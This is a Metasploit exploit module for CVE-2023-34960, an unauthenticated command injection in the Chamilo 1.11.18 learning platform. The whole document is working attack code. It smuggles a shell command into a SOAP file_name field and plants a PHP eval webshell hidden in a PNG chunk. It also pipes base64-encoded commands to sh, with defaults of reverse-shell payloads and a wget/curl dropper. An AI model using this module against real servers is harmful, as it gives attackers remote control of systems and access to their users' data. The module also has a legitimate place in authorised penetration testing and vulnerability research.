Chamilo 1.11.18 Command Injection

# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  include Msf::Exploit::Format::PhpPayloadPng  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Chamilo unauthenticated command injection in PowerPoint upload',        'Description' => %q{          Chamilo is an e-learning platform, also called Learning Management Systems (LMS).          This module exploits an unauthenticated remote command execution vulnerability          that affects Chamilo versions `1.11.18` and below (CVE-2023-34960).          Due to a functionality called Chamilo Rapid to easily convert PowerPoint          slides to courses on Chamilo, it is possible for an unauthenticated remote          attacker to execute arbitrary commands at OS level using a malicious SOAP          request at the vulnerable endpoint `/main/webservices/additional_webservices.php`.        },        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Module Author          'Randorisec' # Original research        ],        'References' => [          ['CVE', '2023-34960'],          ['URL', 'https://www.randorisec.fr/pt/chamilo-1.11.18-multiple-vulnerabilities'],          ['URL', 'https://attackerkb.com/topics/VVJpMeSpUP/cve-2023-34960']        ],        'License' => MSF_LICENSE,        'Platform' => ['php', 'unix', 'linux'],        'Privileged' => false,        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],        'Targets' => [          [            'PHP',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],              'Type' => :linux_dropper,              'Linemax' => 65535,              'CmdStagerFlavor' => ['wget', 'curl'],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-06-01',        'DefaultOptions' => {          'SSL' => false,          'RPORT' => 80        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The Chamilo endpoint URL', '/' ]),      OptString.new('WEBSHELL', [        false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil      ], conditions: %w[TARGET == 0])    ])  end  def soap_request(cmd)    # create SOAP request exploiting CVE-2023-34960    # Randomize ppt size    ppt_size = "#{rand(720..1440)}x#{rand(360..720)}"    return <<~EOS      <?xml version="1.0" encoding="UTF-8"?>      <SOAP-ENV:Envelope        xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"        xmlns:ns1="#{target_uri.path}"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xmlns:xsd="http://www.w3.org/2001/XMLSchema"        xmlns:ns2="http://xml.apache.org/xml-soap"        xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"        SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">        <SOAP-ENV:Body>          <ns1:wsConvertPpt>            <param0 xsi:type="ns2:Map">              <item>                <key xsi:type="xsd:string">file_data</key>                <value xsi:type="xsd:string"></value>              </item>              <item>                <key xsi:type="xsd:string">file_name</key>                <value xsi:type="xsd:string">`{{}}`.pptx'|" |#{cmd}||a #</value>              </item>              <item>                <key xsi:type="xsd:string">service_ppt2lp_size</key>                <value xsi:type="xsd:string">#{ppt_size}</value>              </item>            </param0>          </ns1:wsConvertPpt>        </SOAP-ENV:Body>      </SOAP-ENV:Envelope>    EOS  end  def upload_webshell    # randomize file name if option WEBSHELL is not set    @webshell_name = if datastore['WEBSHELL'].blank?                       "#{Rex::Text.rand_text_alpha(8..16)}.php"                     else                       datastore['WEBSHELL'].to_s                     end    @post_param = Rex::Text.rand_text_alphanumeric(1..8)    # inject PHP payload into the PLTE chunk of a PNG image to hide the payload    php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"    png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')    return nil if png_webshell.nil?    # encode webshell data and write to file on the target for execution    payload = Base64.strict_encode64(png_webshell.to_s)    cmd = "echo #{payload}|openssl enc -a -d > ./#{@webshell_name}"    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'),      'ctype' => 'text/xml; charset=utf-8',      'data' => soap_request(cmd).to_s    })  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'ppt2png', @webshell_name),      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        @post_param => payload      }    })  end  def execute_command(cmd, _opts = {})    # Encode payload with base64 and decode with openssl (most common installed on unix systems)    payload = Base64.strict_encode64(cmd)    cmd = "echo #{payload}|openssl enc -a -d|sh"    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'),      'ctype' => 'text/xml; charset=utf-8',      'data' => soap_request(cmd).to_s    })  end  def check    # Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response.    print_status("Checking if #{peer} can be exploited.")    marker = Rex::Text.rand_text_alphanumeric(8..16)    res = execute_command("echo #{marker}")    if res && res.code == 200 && res.body.include?('wsConvertPptResponse') && res.body.include?(marker)      CheckCode::Vulnerable    else      CheckCode::Safe('No valid response received from the target.')    end  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :php      res = upload_webshell      fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 && res.body.include?('wsConvertPptResponse')      register_file_for_cleanup(@webshell_name.to_s)      execute_php(payload.encoded)    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend